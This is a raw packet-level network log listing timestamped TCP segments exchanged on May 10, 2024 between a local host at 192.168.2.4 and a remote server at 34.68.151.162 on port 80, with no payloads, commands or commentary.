May 10, 2024 09:20:58.587179899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.587179899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.587192059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.587202072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.587208986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.587213039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.587224007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.587229967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.587234020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.587245941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.587272882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589274883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589286089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589297056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589306116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589318037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589328051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589330912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589338064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589349985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589359999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589359999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589370012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589375019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589381933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589391947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589404106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589411974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589412928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589425087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589433908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589436054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589446068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589447975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589458942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589468956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589469910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589482069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589492083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589495897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589503050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589514971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589524984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589528084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589535952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589546919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589548111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589560032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589565992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589571953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589577913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589584112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589595079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589605093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589607000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589616060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589623928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589627981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589638948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589644909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.589654922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.589673996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.590518951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590528965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590539932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590549946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590559006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590559006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.590573072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590584040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590586901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.590595007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590603113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.590605974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590616941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.590616941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590629101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590639114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590639114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.590650082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590662956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590672016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.590672016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.590687037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.590712070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592312098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592322111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592330933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592341900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592351913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592354059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592363119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592372894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592375040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592386961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592391968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592397928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592410088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592418909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592423916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592432022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592442036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592443943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592453003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592466116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592470884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592483044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592493057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592494965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592504025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592514038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592514992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592525005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592535973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592540979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592547894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592559099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592564106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592571020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592581034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592585087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592601061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592602968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592614889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592624903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592636108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592643976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592645884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592657089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592667103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592677116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592678070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592689991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592700005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.592705011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.592720032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.594654083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594665051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594674110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594683886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594693899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594702959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.594705105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594716072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594727993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.594731092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594743013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594754934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594762087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.594764948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594775915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594782114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.594788074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594796896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.594799042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594810963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.594818115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.594844103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596297979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596308947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596348047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596503019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596513987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596524954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596534967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596538067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596546888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596558094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596568108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596575975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596579075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596590996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596594095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596602917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596607924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596615076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596626997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596636057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596646070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596656084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596662045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596662998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596674919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596678019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596689939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596699953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596709967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596715927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596720934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596729994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596730947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596745014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596765041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596766949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596776962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596782923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596787930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596797943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596808910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596816063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596818924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596832991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596837997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596843958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596854925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596862078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596864939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596874952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.596878052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.596894026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.598545074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598556042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598565102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598575115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598584890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598594904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598596096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.598604918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598615885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.598617077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598628998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598638058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.598639011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598650932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598661900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598669052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.598671913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598683119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598690033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.598692894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.598702908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.598731041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601128101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601159096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601170063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601181030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601202965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601208925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601239920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601329088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601340055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601350069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601360083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601368904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601376057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601382017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601392984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601396084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601403952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601413012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601414919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601425886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601432085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601438046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601444960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601449013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601470947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601480961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601485014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601492882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601502895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601505041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601514101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601526976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601527929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601540089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601547956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601550102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601562023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601572037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601572037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601588964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601598978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601603031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601609945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601619959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601624012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601629972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601636887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601641893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601654053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601655960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.601665974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.601701975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.602569103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602579117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602590084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602600098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602608919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602612972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.602619886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602631092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602632046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.602643013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602650881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.602653980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602664948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602664948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.602675915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602684021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.602686882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602696896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602708101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602716923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.602719069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.602735996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.602833986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.603804111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.603971004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.603981972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.603991032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604001999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604011059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604013920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604022026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604034901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604046106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604057074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604059935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604073048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604083061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604093075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604109049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604120016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604125977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604125977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604127884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604130983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604137897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604142904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604152918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604161978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604171038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604172945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604181051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604186058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604192019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604203939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604214907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604223967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604226112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604238987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604248047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604248047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.604250908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604263067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604281902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.604290009 CEST	49754	80	192.168.2.4	34.68.151.162
